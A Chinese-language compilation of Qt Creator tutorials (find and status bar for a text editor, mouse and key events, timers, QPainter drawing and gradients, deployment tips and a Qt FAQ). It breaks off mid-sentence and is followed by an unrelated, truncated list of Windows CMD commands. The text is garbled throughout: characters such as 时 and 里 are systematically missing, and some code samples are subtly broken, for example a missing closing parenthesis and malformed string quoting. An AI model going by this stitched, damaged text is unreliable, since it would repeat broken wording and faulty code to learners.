按键。我们按下键盘上的F1,便能出现textEdit 的帮助。 9.我们在帮助中向下拉,会发现这有一个find 函数。 10.我们点击find,查看其详细说明。 11.可以看到find 函数可以实现文本编辑器中字符串的查找。其中有一个 FindFlags 的参数,我们点击它查看其说明。 12.可以看到它是一个枚举变量(enum),有三个选项,第一项是向后查找(即 查找光标以前的内容,这的前后是相对的说法,比如第一行已经用完了,光 标在第二行,把第一行叫做向后。),第二项是区分大小写查找,第三项是 查找全部。 13.我们选用第一项,然后写出下面的语句。 ui->textEdit->find(findText,QTextDocument::FindBackward); //将行编辑器中的内容在文本编辑器中进行查找 当我们刚打出“f”,就能自动弹出textEdit 类的相关属性和方法。 可以看到,当写完函数名和第一个“(”后,系统会自动显示出该函数的函数原 型,这样可以使我们减少出错。 14.这已经能实现查找的功能了。但是我们刚才看到find 的返回值类型是bool 型,而且,我们也应该为查找不到字符串作出提示。 if(!ui->textEdit->find(findText,QTextDocument::FindBackward)) { QMessageBox::warning(this,tr("查找"),tr("找不到 %1") .arg(findText); } 因为查找失败返回值是false,所以if 条件加了“!”号。在找不到弹出警 告对话框。 15.到这,查找功能就基本上写完了。show_findText()函数的内容如下。 我们会发现随着程序功能的增强,其中的函数也会越来越多,我们都会为查找 某个函数的定义位置感到头疼。而在Qt Creator 中有几种快速定位函数的方法, 我们这讲解三种。 第一,在函数声明的地方直接跳转到函数定义的地方。 如在do_file_Load 上点击鼠标右键,在弹出的菜单中选择Follow Symbol under Cursor 或者下面的Switch between Method Declaration/Definition。 这系统就会自动跳转到函数定义的位置。如下图。 第二,快速查找一个文件的所有函数。 我们可以点击窗口最上面的下拉框,这会显示本文件中所有函数的列表。 第三,利用查找功能。 1.我们先将鼠标定位到一个函数名上。 2.然后选择Edit->Find/Replace->Find Dialog。 3.这会出现一个查找对话框,可以看到要查找的函数名已经写在面了。 4.当我们按下Search 按钮后,会在查找结果窗口显示查找到的结果。 5.我们点击第二个文件。会发现在这个文件中有两处关键字是高亮显示。 6.我们双击第二项,就会自动跳转到函数的定义处。 文章讲到这,我们已经很详细地说明了怎样去使用一个类面没有用过的方法 函数;也说明了Qt Creator 中的一些便捷操作。可以看到,Qt Creator 开发环 境,有很多很人性化的设计,我们应该熟练应用它们。 在以后的文章中,我们不会再很详细地去用帮助来说明一个函数是 怎么来的,该怎么用,这些应该自己试着去查找。 八、Qt Creator 实现状态栏显示(原创) 在程序主窗口Mainwindow 中,有菜单栏,工具栏,中心部件和状态栏。前面几 个已经讲过了,这次讲解状态栏的使用。 程序中有哪些不明白的类或函数,请自己查看帮助。 1.我们在mainwindow.h 中做一下更改。 加入头文件包含: #include 加入私有变量和函数: QLabel* first_statusLabel; //声明两个标签对象,用于显示状态信息 QLabel* second_statusLabel; void init_statusBar(); //初始化状态栏 加入一个槽函数声明:void do_cursorChanged(); //获取光标位置信息 2.在mainwindow.cpp 中加入状态栏初始化函数的定义。 void MainWindow::init_statusBar() { QStatusBar* bar = ui->statusBar; //获取状态栏 first_statusLabel = new QLabel; //新建标签 first_statusLabel->setMinimumSize(150,20); //设置标签最小尺寸 first_statusLabel->setFrameShape(QFrame::WinPanel); //设置标签形状 first_statusLabel->setFrameShadow(QFrame::Sunken); //设置标签阴影 second_statusLabel = new QLabel; second_statusLabel->setMinimumSize(150,20); second_statusLabel->setFrameShape(QFrame::WinPanel); second_statusLabel->setFrameShadow(QFrame::Sunken); bar->addWidget(first_statusLabel); bar->addWidget(second_statusLabel); first_statusLabel->setText(tr("欢迎使用文本编辑器")); //初始化内容 second_statusLabel->setText(tr("yafeilinux 制作!")); } 这将两个标签对象加入到了主窗口的状态栏,并设置了他们的外观和初值。 3.在构造函数调用状态栏初始化函数。 init_statusBar(); 这运行程序,效果如下。 4.在mainwindow.cpp 中加入获取光标位置的函数的定义。 void MainWindow::do_cursorChanged() { int rowNum = ui->textEdit->document()->blockCount(); //获取光标所在行的行号 const QTextCursor cursor = ui->textEdit->textCursor(); int colNum = cursor.columnNumber(); //获取光标所在列的列号 first_statusLabel->setText(tr("%1 行 %2 列").arg(rowNum).arg(colNum)); //在状态栏显示光标位置 } 这个函数可获取文本编辑框中光标的位置,并显示在状态栏中。 5.在构造函数添加光标位置改变信号的关联。 connect(ui->textEdit,SIGNAL(cursorPositionChanged()),this,SLOT(do_cur sorChanged())); 这运行程序。效果如下。 6.在do_file_Load 函数的最后添加下面语句。 second_statusLabel->setText(tr("打开文件成功")); 7.在saveFile 函数的最后添加以下语句。 second_statusLabel->setText(tr("保存文件成功")); 8.在on_action_Find_triggered 函数的后面添加如下语句。 second_statusLabel->setText(tr("正在进行查找")); 9.在on_action_Close_triggered 函数最后添加如下语句。 first_statusLabel->setText(tr("文本编辑器已关闭")); second_statusLabel->setText(tr("yafeilinux 制作!")); 到这整个文本编辑器的程序就算写完了。我们这没有写帮助菜单的功能实 现,大家可以自己添加。而且程序中也有很多漏洞和不完善的地方,如果有兴 趣,大家也可以自己修改。因为间和篇幅的原因,我们这就不再过多的讲 述。 九、Qt Creator 中鼠标键盘事件的处理实现自定义鼠标指针(原创) 我们前面一直在说信号,比方说用鼠标按了一下按钮,这样就会产生一个按钮的 单击信号,然后我们可以在相应的槽函数进行相应功能的设置。其实在按下鼠 标后,程序要先接收到鼠标按下的事件,然后将这个事件按默认的设置传给按钮。 可以看出,事件和信号并不是一回事,事件比信号更底层。而我们以前把单击按 钮也叫做事件,这是不确切的,不过大家都知道是什么意思,所以当也没有细 分。 Qt 中的事件可以在QEvent 中查看。下面我们只是找两个例子来进行简单的演示。 1.还是先建立一个Qt4 Gui Application 工程,我这起名为event。 2.添加代码,让程序中可以使用中文。 即在main.cpp 文件中加入#include 的头文件包含。 再在下面的主函数添加 QTextCodec::setCodecForTr(QTextCodec::codecForLocale()); 3.在mainwindow.h 文件中做一下更改。 添加#include 头文件。因为这样就包含了QtGui 中所有的子文件。 在public 中添加两个函数的声明 void mouseMoveEvent(QMouseEvent *); void keyPressEvent(QKeyEvent *); 4.我们在mainwindow.ui 中添加一个Label 和一个PushButton,将他们拉长点, 因为一会要在上面显示标语。 5.在mainwindow.cpp 中的构造函数添加两个部件的显示文本。 ui->label->setText(tr("按下键盘上的A 键试试!")); ui->pushButton->setText(tr("按下鼠标的一个键,然后移动鼠标试试")); 6.然后在下面进行两个函数的定义。 /*以下是鼠标移动事件*/ void MainWindow::mouseMoveEvent(QMouseEvent *m) {//这的函数名和参数不能更改 QCursor my(QPixmap("E:/Qt/Qt-Creator-Example/event/time.png")); //为鼠标指针选择图片,注意这要用绝对路径,且要用“/”,而不能用“\” QApplication::setOverrideCursor(my); //将鼠标指针更改为自己设置的图片 int x = m->pos().x(); int y = m->pos().y(); //获取鼠标现在的位置坐标 ui->pushButton->setText(tr("鼠标现在的坐标是(%1,%2), 哈哈好玩吧 ").arg(x).arg(y)); //将鼠标的位置坐标显示在按钮上 ui->pushButton->move(m->pos()); //让按钮跟随鼠标移动 } /*以下是键盘按下事件*/ void MainWindow::keyPressEvent(QKeyEvent *k) { if(k->key() == Qt::Key_A) //判断是否是A 键按下 { ui->label->setPixmap(QPixmap("E:/Qt/Qt-Creator-Example/event/linux.jp g")); ui->label->resize(100,100); //更改标签图片和大小 } } 注意:这两个函数不是自己新建的,而是对已有函数的重定义,所有函数名和参 数都不能改。第一个函数对鼠标移动事件进行了重写。其中实现了鼠标指针的更 改,和按钮跟随鼠标移动的功能。 第二个函数对键盘的A 键按下实现了新的功能。 效果如下。 按下鼠标的一个键,并移动鼠标。 按下键盘上的A 键。 十、Qt Creator 中实现定器和产生随机数(原创) 有两种方法实现定器。 第一种。自己建立关联。 1.新建Gui 工程,工程名可以设置为timer。并在主界面上添加一个标签label, 并设置其显示内容为“0000-00-00 00:00:00 星期日”。 2.在mainwindow.h 中添加槽函数声明。 private slots: void timerUpDate(); 3.在mainwindow.cpp 中添加代码。 添加#include 的头文件包含,这样就包含了QtCore 下的所有文件。 构造函数添加代码: QTimer *timer = new QTimer(this); //新建定器 connect(timer,SIGNAL(timeout()),this,SLOT(timerUpDate())); //关联定器计满信号和相应的槽函数 timer->start(1000); //定器开始计,其中1000 表示1000ms 即1 秒 4.然后实现更新函数。 void MainWindow::timerUpDate() { QDateTime time = QDateTime::currentDateTime(); //获取系统现在的间 QString str = time.toString("yyyy-MM-dd hh:mm:ss dddd"); //设置系统间显示格式 ui->label->setText(str); //在标签上显示间 } 5.运行程序,效果如下。 第二种。使用事件。(有点像单片机中的定器啊) 1.新建工程。在窗口上添加两个标签。 2.在main.cpp 中添加代码,实现中文显示。 #include QTextCodec::setCodecForTr(QTextCodec::codecForLocale()); 3.在mainwindow.h 中添加代码。 void timerEvent(QTimerEvent *); 4.在mainwindow.cpp 中添加代码。 添加头文件#include 在构造函数添加以下代码。 startTimer(1000); //其返回值为1,即其timerId 为1 startTimer(5000);//其返回值为2,即其timerId 为2 startTimer(10000); //其返回值为3,即其timerId 为3 添加了三个定器,它们的timerId 分别为1,2,3。注意,第几个定器的返 回值就为几。所以要注意定器顺序。 在下面添加函数实现。 void MainWindow::timerEvent(QTimerEvent *t) //定器事件 { switch(t->timerId()) //判断定器的句柄 { case 1 : ui->label->setText(tr("每秒产生一个随机数: %1").arg(qrand()%10));break; case 2 : ui->label_2->setText(tr("5 秒后软件将关闭"));break; case 3 : qApp->quit();break; //退出系统 } } 这添加了三个定器,并都在定器事件中判断它们,然后执行相应的功能。 这样就不用每个定器都写一个关联函数和槽函数了。 随机数的实现: 上面程序中的qrand(),可以产生随机数,qrand()%10 可以产生0-9 之间的随机 数。要想产生100 以内的随机数就%100。以此类推。 但这样每次启动程序后,都按同一种顺序产生随机数。为了实现每次启动程序产 生不同的初始值。我们可以使用qsrand(time(0));实现设置随机数的初值,而 程序每次启动time(0)返回的值都不同,这样就实现了产生不同初始值的功 能。 我们将qsrand(time(0));一句加入构造函数。 程序最终运行效果如下。 十一、Qt 2D 绘图(一)绘制简单图形(原创) 声明:本文原创于yafeilinux 的百度博客,http://hi.baidu.com/yafeilinux 转载请注明出处。 说明:以后使用的环境为基于Qt 4.6 的Qt Creator 1.3.0 windows 版本 本文介绍在窗口上绘制最简单的图形的方法。 1.新建Qt4 Gui Application 工程,我这使用的工程名为painter01,选用 QDialog 作为Base class 2.在dialog.h 文件中声明重绘事件函数void paintEvent(QPaintEvent *); 3.在dialog.cpp 中添加绘图类QPainter 的头文件包含#include 4.在下面进行该函数的重定义。 void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); painter.drawLine(0,0,100,100); } 其中创建了QPainter 类对象,它是用来进行绘制图形的,我们这画了一条线 Line,其中的参数为线的起点(0,0),和终点(100,100)。这的数值指的 是像素,详细的坐标设置我们以后再讲,这知道(0,0)点指的是窗口的左上 角即可。运行效果如下: 5.在qt 的帮助可以查看所有的绘制函数,而且下面还给出了相关的例子。 6.我们下面将几个知识点说明一下,帮助大家更快入门。 将函数改为如下: void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); QPen pen; //画笔 pen.setColor(QColor(255,0,0)); QBrush brush(QColor(0,255,0,125)); //画刷 painter.setPen(pen); //添加画笔 painter.setBrush(brush); //添加画刷 painter.drawRect(100,100,200,200); //绘制矩形 } 这的pen 用来绘制边框,brush 用来进行封闭区域的填充,QColor 类用来提供 颜色,我们这使用了rgb 方法来生成颜色,即(red,green,blue),它们取 值分别是0-255,例如(255,0,0)表示红色,而全0 表示黑色,全255 表示 白色。后面的(0,255,0,125),其中的125 是透明度(alpha)设置,其值 也是从0 到255,0 表示全透明。最后将画笔和画刷添加到painter 绘制设备中, 画出图形。这的Rect 是长方形,其中的参数为(100,100)表示起始坐标, 200,200 表示长和宽。效果如下: 7.其实画笔和画刷也有很多设置,大家可以查看帮助。 QPainter painter(this); QPen pen(Qt::DotLine); QBrush brush(Qt::blue); brush.setStyle(Qt::HorPattern); painter.setPen(pen); painter.setBrush(brush); painter.drawRect(100,100,200,200); 这我们设置了画笔的风格为点线,画刷的风格为并行横线,效果如下: 在帮助可以看到所有的风格。 我们这用了Qt::blue,Qt 自定义的几个颜色如下: 8.画弧线,这是帮助的一个例子。 QRectF rectangle(10.0, 20.0, 80.0, 60.0); //矩形 int startAngle = 30 * 16; //起始角度 int spanAngle = 120 * 16; //跨越度数 QPainter painter(this); painter.drawArc(rectangle, startAngle, spanAngle); 这要说明的是,画弧线,角度被分成了十六分之一,就是说,要想为30 度, 就得是30*16。它有起始角度和跨度,还有位置矩形,要想画出自己想要的弧线, 就要有一定的几何知识了。这就不再祥述。 十二、Qt 2D 绘图(二)渐变填充(原创) 声明:本文原创于yafeilinux 的百度博客,http://hi.baidu.com/yafeilinux 转载请注明出处。 在qt 中提供了三种渐变方式,分别是线性渐变,圆形渐变和圆锥渐变。如果能 熟练应用它们,就能设计出炫目的填充效果。 线性渐变: 1.更改函数如下: void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); QLinearGradient linearGradient(100,150,300,150); //从点(100,150)开始到点(300,150)结束,确定一条直线 linearGradient.setColorAt(0,Qt::red); linearGradient.setColorAt(0.2,Qt::black); linearGradient.setColorAt(0.4,Qt::yellow); linearGradient.setColorAt(0.6,Qt::white); linearGradient.setColorAt(0.8,Qt::green); linearGradient.setColorAt(1,Qt::blue); //将直线开始点设为0,终点设为1,然后分段设置颜色 painter.setBrush(linearGradient); painter.drawRect(100,100,200,100); //绘制矩形,线性渐变线正好在矩形的水平中心线上 } 效果如下: 圆形渐变: 1.更改函数内容如下: QRadialGradient radialGradient(200,100,100,200,100); //其中参数分别为圆形渐变的圆心(200,100),半径100,和焦点(200, 100) //这让焦点和圆心重合,从而形成从圆心向外渐变的效果 radialGradient.setColorAt(0,Qt::black); radialGradient.setColorAt(1,Qt::yellow); //渐变从焦点向整个圆进行,焦点为起始点0,圆的边界为1 QPainter painter(this); painter.setBrush(radialGradient); painter.drawEllipse(100,0,200,200); //绘制圆,让它正好和上面的圆形渐变的圆重合 效果如下: 2.要想改变填充的效果,只需要改变焦点的位置和渐变的颜色位置即可。 改变焦点位置:QRadialGradient radialGradient(200,100,100,100,100); 效果如下: 锥形渐变: 1.更改函数内容如下: //圆锥渐变 QConicalGradient conicalGradient(50,50,0); //圆心为(50,50),开始角度为0 conicalGradient.setColorAt(0,Qt::green); conicalGradient.setColorAt(1,Qt::white); //从圆心的0 度角开始逆针填充 QPainter painter(this); painter.setBrush(conicalGradient); painter.drawEllipse(0,0,100,100); 效果如下: 2.可以更改开始角度,来改变填充效果 QConicalGradient conicalGradient(50,50,30); 开始角度设置为30 度,效果如下: 其实三种渐变的设置都在于焦点和渐变颜色的位置,如果想设计出漂亮的渐变 效果,还要有美术功底啊! 十二、Qt 2D 绘图(三)绘制文字(原创) 声明:本文原创于yafeilinux 的百度博客,http://hi.baidu.com/yafeilinux 转载请注明出处。 接着上一次的教程,这次我们学习在窗体上绘制文字。 1.绘制最简单的文字。 我们更改重绘函数如下: void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); painter.drawText(100,100,"yafeilinux"); } 我们在(100,100)的位置显示了一行文字,效果如下。 2.为了更好的控制字体的位置。我们使用另一个构造函数。在帮助查看 drawText,如下。 这我们看到了构造函数的原型和例子。其中的flags 参数可以控制字体在矩形 中的位置。我们更改函数内容如下。 void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); QRectF ff(100,100,300,200); //设置一个矩形 painter.drawRect(ff); //为了更直观地看到字体的位置,我们绘制出这个矩形 painter.setPen(QColor(Qt::red)); //设置画笔颜色为红色 painter.drawText(ff,Qt::AlignHCenter,"yafeilinux"); //我们这先让字体水平居中 } 效果如下。 可以看到字符串是在最上面水平居中的。如果想让其在矩形正中间,我们可以使 用Qt::AlignCenter。 这我们也可以使用两个枚举变量进行按位与操作,例如可以使用 Qt::AlignBottom|Qt::AlignHCenter 实现让文字显示在矩形下面的正中间。效 果如下。 对于较长的字符串,我们也可以利用“\n”进行换行,例如"yafei\nlinux"。效 果如下。 3.如果要使文字更美观,我们就需要使用QFont 类来改变字体。先在帮助中查 看一下这个类。 可以看到它有好几个枚举变量来设置字体。下面的例子我们对主要的几个选项进 行演示。 更改函数如下。 void Dialog::paintEvent(QPaintEvent *) { QFont font("Arial",20,QFont::Bold,true); //设置字体的类型,大小,加粗,斜体 font.setUnderline(true); //设置下划线 font.setOverline(true); //设置上划线 font.setCapitalization(QFont::SmallCaps); //设置大小写 font.setLetterSpacing(QFont::AbsoluteSpacing,5); //设置间距 QPainter painter(this); painter.setFont(font); //添加字体 QRectF ff(100,100,300,200); painter.drawRect(ff); painter.setPen(QColor(Qt::red)); painter.drawText(ff,Qt::AlignCenter,"yafeilinux"); } 效果如下。 这的所有字体我们可以在设计器中进行查看。如下。 基于Qt 4.6 的Qt Creator 1.3.0 环境变量设置(原创) 如果你以前安装过visual studio 2005 之类的软件,那么装上Qt Creator 1.3.0 后,编译运行其自带的演示程序就可能出现如下图的,105 个错误,几十个警 告的问题。 我们查看输出窗口,如下图。会发现它居然显示VC98 之类的东西,就是说它并 没有去自己的include 文件夹 中查找文件。我们可以怀疑是系统环境变量的问题了。 点击Qt Creator 界面左侧的projects 图标,查看工程信息。这我们主要查看 编辑环境Buid Environment,点击其右侧的show Details。 可以看到其中的include 和lib 均指向了virtual studio 文件夹中,我们需要 将其改正。 将他们都改为自己Qt Creator 安装目录下的相关路径,如下图。(要换成你的 安装路径) 改完后会发现新的设置已经显示出来了。 我们查看下面的Run Environment,发现它已经自己改过来了。 回到编辑界面,右击工程文件,在弹出的菜单上选择Clean project,清空以前 的编译信息。 然后运行Run qmake,生成Makefile 文件。 最后,点击run 或者build 都可,这程序已经能正常编译运行了。 基于Qt 4.6 的Qt Creator 1.3.0 写helloworld 程序注意事项(原创) 注意:下面指的是在windows 下,linux 下的情况可进行相应改变 昨天Qt 4.6 和Qt Creator 1.3.0 正式版发布了,但是如果以前用过旧版本,就 可能出一些问题。 1.用debug 方式 如果你以前用了Qt 4.5 的Qt Creator,并且将QtCored4.dll,QtGuid4.dll, mingwm10.dll 等文件放到了C 盘的system 文件夹下。那么请先将它们删除,不 然编译不会通过。 编译完helloworld 程序后,如果要直接执行exe 文件,需要将安装目录(新版 Qt)下的qt/bin 目录下的QtCored4.dll,QtGuid4.dll,mingwm10.dll,和 libgcc_s_dw2-1.dll(这个是新增的)文件放在exe 文件夹中。或者将它们放到 系统的system 文件夹下。 2.选择release 方式 编译程序后生成exe 文件 1.需要Qt 安装目录下的qt/bin 目录中的QtGui4.dll ,Qt Core4.dll, libgcc_s_dw2-1.dll 以及mingwm10.dll 四个文件的支持,将它们拷贝到exe 文 件目录下。 2.程序中默认只支持png 图片,如果使用了gif,jpg 等格式的文件是显示不出 来的。需要将Qt 安装目录下的qt/plugins/目录中的imageformats 文件夹拷贝 到exe 文件目录下(注意是整个文件夹)。而imageformats 文件夹中只需要保 留你需要的文件,例如你只需要支持gif 文件,就只保留qgif4.dll 即可。 ‘Qt Creator 发布release 软件相关注意事项(原创) 注意:环境是windows 选择release 编译程序后生成exe 文件 1.需要Qt 安装目录下的qt/bin 目录中的QtGui4.dll 和 Qt Core4.dll 以及 mingwm10.dll 三个文件的支持,将它们拷贝到exe 文件目录下。 2.程序中默认只支持png 图片,如果使用了gif,jpg 等格式的文件是显示不出 来的。需要将Qt 安装目录下的qt/plugins/目录中的imageformats 文件夹拷贝 到exe 文件目录下(注意是整个文件夹)。而imageformats 文件夹中只需要保 留你需要的文件,例如你只需要支持gif 文件,就只保留qgif4.dll 即可。 Qt Creator 的 error: collect2: ld returned 1 exit status 问题 利用Qt Creator 1.2.1( Built on Sep 30 2009 at 05:21:42)编译 程序经常会出现error: collect2: ld returned 1 exit status 的错误,但是 自己的程序没有一点问题,怎么回事呢? 如果这退出软件,再重新进入,打开刚才的工程,重新编译, 就不会出现刚才的错误了。这应该是Qt Creator 软件的问题吧! 后来发现是因为上次执行的程序还在运行,你打开windows 的任 务管理器中的进程可以看见你刚才运行的程序还在执行,我们看不见,是因为它 在后台执行着。出现这个现象,是因为你写的代码的问题,比如在main 函数 用了w.show();语句,就可能出现界面一闪而过,但它并没有关闭,而是在后台 运行,所以再次运行就会出错。我们可以在资源管理器中将该进程关闭,或者 像上面那样直接关闭Qt Creator。 示例: #include #include "widget.h" #include "logindlg.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); loginDlg m; if(m.exec()==QDialog::Accepted) { Widget w; w.show(); } return a.exec(); } 执行后就会在后台运行。这如果修改了代码再次运行程序,就会出现上面的错 误。 在任务管理器中可以看见自己的程序: 将该进程结束,然后在重新运行,就不会出错了。 正确的代码应该这样写: int main(int argc, char *argv[]) { QApplication a(argc, argv); loginDlg m; Widget w; if(m.exec()==QDialog::Accepted) { w.show(); return a.exec(); } else return 0; //关闭整个程序 } 这样新建的对象w 就不是局部变量了,这样运行程序w 表示的窗口不会一闪而过, 会一直显示。程序也不会再出现上面的错误了。 QT 常用问题解答(转) 本文是我前几天一个网友告诉我的,当看了感觉好,就保存下来。今天再次查 看,感觉有必要把文章分享给各位学习QT 的朋友,因为网上好用的QT 资源真的 好少。 1、如果在窗体关闭前自行判断是否可关闭 答:重新实现这个窗体的closeEvent()函数,加入判断操作 Quote: void MainWindow::closeEvent(QCloseEvent *event) { if (maybeSave()) { writeSettings(); event->accept(); } else { event->ignore(); } } 2、如何用打开和保存文件对话 答:使用QFileDialog Quote: QString fileName = QFileDialog::getOpenFileName(this); if (!fileName.isEmpty()) { loadFile(fileName); } Quote: QString fileName = QFileDialog::getSaveFileName(this); if (fileName.isEmpty()) { return false; } 3、如果创建Actions(可在菜单和工具栏使用这些Action) 答: Quote: newAct = new QAction(QIcon(":/images/new.png"), tr("&New"), this); newAct->setShortcut(tr("Ctrl+N")); newAct->setStatusTip(tr("Create a new file")); connect(newAct, SIGNAL(triggered()), this, SLOT(newFile())); openAct = new QAction(QIcon(":/images/open.png"), tr("&Open..."), this); openAct->setShortcut(tr("Ctrl+O")); openAct->setStatusTip(tr("Open an existing file")); connect(openAct, SIGNAL(triggered()), this, SLOT(open())); saveAct = new QAction(QIcon(":/images/save.png"), tr("&Save"), this); saveAct->setShortcut(tr("Ctrl+S")); saveAct->setStatusTip(tr("Save the document to disk")); connect(saveAct, SIGNAL(triggered()), this, SLOT(save())); saveAsAct = new QAction(tr("Save &As..."), this); saveAsAct->setStatusTip(tr("Save the document under a new name")); connect(saveAsAct, SIGNAL(triggered()), this, SLOT(saveAs())); exitAct = new QAction(tr("E&xit"), this); exitAct->setShortcut(tr("Ctrl+Q")); exitAct->setStatusTip(tr("Exit the application")); connect(exitAct, SIGNAL(triggered()), this, SLOT(close())); cutAct = new QAction(QIcon(":/images/cut.png"), tr("Cu&t"), this); cutAct->setShortcut(tr("Ctrl+X")); cutAct->setStatusTip(tr("Cut the current selection's contents to the " "clipboard")); connect(cutAct, SIGNAL(triggered()), textEdit, SLOT(cut())); copyAct = new QAction(QIcon(":/images/copy.png"), tr("&Copy"), this); copyAct->setShortcut(tr("Ctrl+C")); copyAct->setStatusTip(tr("Copy the current selection's contents to the " "clipboard")); connect(copyAct, SIGNAL(triggered()), textEdit, SLOT(copy())); pasteAct = new QAction(QIcon(":/images/paste.png"), tr("&Paste"), this); pasteAct->setShortcut(tr("Ctrl+V")); pasteAct->setStatusTip(tr("Paste the clipboard's contents into the current " "selection")); connect(pasteAct, SIGNAL(triggered()), textEdit, SLOT(paste())); aboutAct = new QAction(tr("&About"), this); aboutAct->setStatusTip(tr("Show the application's About box")); connect(aboutAct, SIGNAL(triggered()), this, SLOT(about())); aboutQtAct = new QAction(tr("About &Qt"), this); aboutQtAct->setStatusTip(tr("Show the Qt library's About box")); connect(aboutQtAct, SIGNAL(triggered()), qApp, SLOT(aboutQt())); 4、如果创建主菜单 答:采用上面的QAction 的帮助,创建主菜单 Quote: fileMenu = menuBar()->addMenu(tr("&File")); fileMenu->addAction(newAct); fileMenu->addAction(openAct); fileMenu->addAction(saveAct); fileMenu->addAction(saveAsAct); fileMenu->addSeparator(); fileMenu->addAction(exitAct); editMenu = menuBar()->addMenu(tr("&Edit")); editMenu->addAction(cutAct); editMenu->addAction(copyAct); editMenu->addAction(pasteAct); menuBar()->addSeparator(); helpMenu = menuBar()->addMenu(tr("&Help")); helpMenu->addAction(aboutAct); helpMenu->addAction(aboutQtAct); 5、如果创建工具栏 答:采用上面的QAction 的帮助,创建工具栏 Quote: fileToolBar = addToolBar(tr("File")); fileToolBar->addAction(newAct); fileToolBar->addAction(openAct); fileToolBar->addAction(saveAct); editToolBar = addToolBar(tr("Edit")); editToolBar->addAction(cutAct); editToolBar->addAction(copyAct); editToolBar->addAction(pasteAct); 6、如何使用配置文件保存配置 答:使用QSettings 类 Quote: QSettings settings("Trolltech", "Application Example"); QPoint pos = settings.value("pos", QPoint(200, 200)).toPoint(); QSize size = settings.value("size", QSize(400, 400)).toSize(); Quote: QSettings settings("Trolltech", "Application Example"); settings.setValue("pos", pos()); settings.setValue("size", size()); 7、如何使用警告、信息等对话框 答:使用QMessageBox 类的静态方法 Quote: int ret = QMessageBox::warning(this, tr("Application"), tr("The document has been modified.\n" "Do you want to save your changes?"), QMessageBox::Yes | QMessageBox::Default, QMessageBox::No, QMessageBox::Cancel | QMessageBox::Escape); if (ret == QMessageBox::Yes) return save(); else if (ret == QMessageBox::Cancel) return false; 8、如何使通用对话框中文化 答:对话框的中文化 比 如说,QColorDialog 的与文字相关的部分,主要在qcolordialog.cpp 文件 中,我们可以从qcolordialog.cpp 用 lupdate 生成一个ts 文件,然后用自定 义这个ts 文件的翻译,再用lrelease 生成一个.qm 文件,当然了,主程序就要 改变要支持多国语言了, 使用这个.qm 文件就可以了。 另外,还有一个更快的方法,在源代码解开后有一个目录translations,下面 有一些.ts, .qm 文件,我们拷贝一个: Quote: cp src/translations/qt_untranslated.ts ./qt_zh_CN.ts 然 后,我们就用Linguist 打开这个qt_zh_CN.ts,进行翻译了,翻译完成后, 保存后,再用lrelease 命令生成qt_zh_CN.qm, 这样,我们把它加入到我们的 qt project 中,那些系统的对话框,菜单等等其它的默认是英文的东西就能显 示成中文了。 9、在Windows 下Qt 为什么没有终端输出? 答:把下面的配置项加入到.pro 文件中 Quote: win32:CONFIG += console 10、Qt 4 for X11 OpenSource 版如何静态链接? 答:编译安装的候加上-static 选项 Quote: ./configure -static //一定要加static 选项 gmake gmake install 然后,在Makefile 文件中加 static 选项或者在.pro 文件中加上QMAKE_LFLAGS += -static,就可以连接静态库了。 11、想在源代码中直接使用中文,而不使用tr()函数进行转换,怎么办? 答:在main 函数中加入下面三条语句,但并不提倡 Quote: QTextCodec::setCodecForLocale(QTextCodec::codecForName("UTF-8")); QTextCodec::setCodecForCStrings(QTextCodec::codecForName("UTF-8")); QTextCodec::setCodecForTr(QTextCodec::codecForName("UTF-8")); 或者 Quote: QTextCodec::setCodecForLocale(QTextCodec::codecForName("GBK")); QTextCodec::setCodecForCStrings(QTextCodec::codecForName("GBK")); QTextCodec::setCodecForTr(QTextCodec::codecForName("GBK")); 使用GBK 还是使用UTF-8,依源文件中汉字使用的内码而定 这样,就可在源文件中直接使用中文,比如: Quote: QMessageBox::information(NULL, "信息", "关于本软件的演示信息", QMessageBox::Ok, QMessageBox::NoButtons); 12、为什么将开发的使用数据库的程序发布到其它机器就连接不上数据库? 答:这是由于程序找不到数据库插件而致,可照如下解决方法: 在main 函数中加入下面语句: Quote: QApplication::addLibraryPath(strPluginsPath"); strPluginsPath 是插件所在目录,比如此目录为/myapplication/plugins 则将需要的sql 驱动,比如qsqlmysql.dll, qsqlodbc.dll 或对应的.so 文件放 到 /myapplication/plugins/sqldrivers/ 目录下面就行了 这是一种解决方法,还有一种通用的解决方法,即在可执行文件目录下写 qt.conf 文件,把系统相关的一些目录配置写到qt.conf 文件,详细情况情参 考Qt Document Reference 的qt.conf 部分 13、如何创建QT 使用的DLL(.so)以及如何使用此DLL(.so) 答:创建DLL 其工程使用lib 模板 Quote: TEMPLATE=lib 而源文件则和使用普通的源文件一样,注意把头文件和源文件分开,因为在其它 程序使用此DLL 需要此头文件 在使用此DLL ,则在此工程源文件中引入DLL 头文件,并在.pro 文件中加入 下面配置项: Quote: LIBS += -Lyourdlllibpath -lyourdlllibname Windows 下和Linux 下同样(Windows 下生成的DLL 文件名为yourdlllibname.dll 而在Linux 下生成的为libyourdlllibname.so。注意,关于DLL 程序的写法, 遵从各平台级编译器所定的规则。 14、如何启动一个外部程序 答:1、使用QProcess::startDetached()方法,启动外部程序后立即返回; 2、使用QProcess::execute(),不过使用此方法程序会最阻塞直到此方法执 行的程序结束后返回
CMD命令:开始->运行->键入cmd或command(在命令行可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. 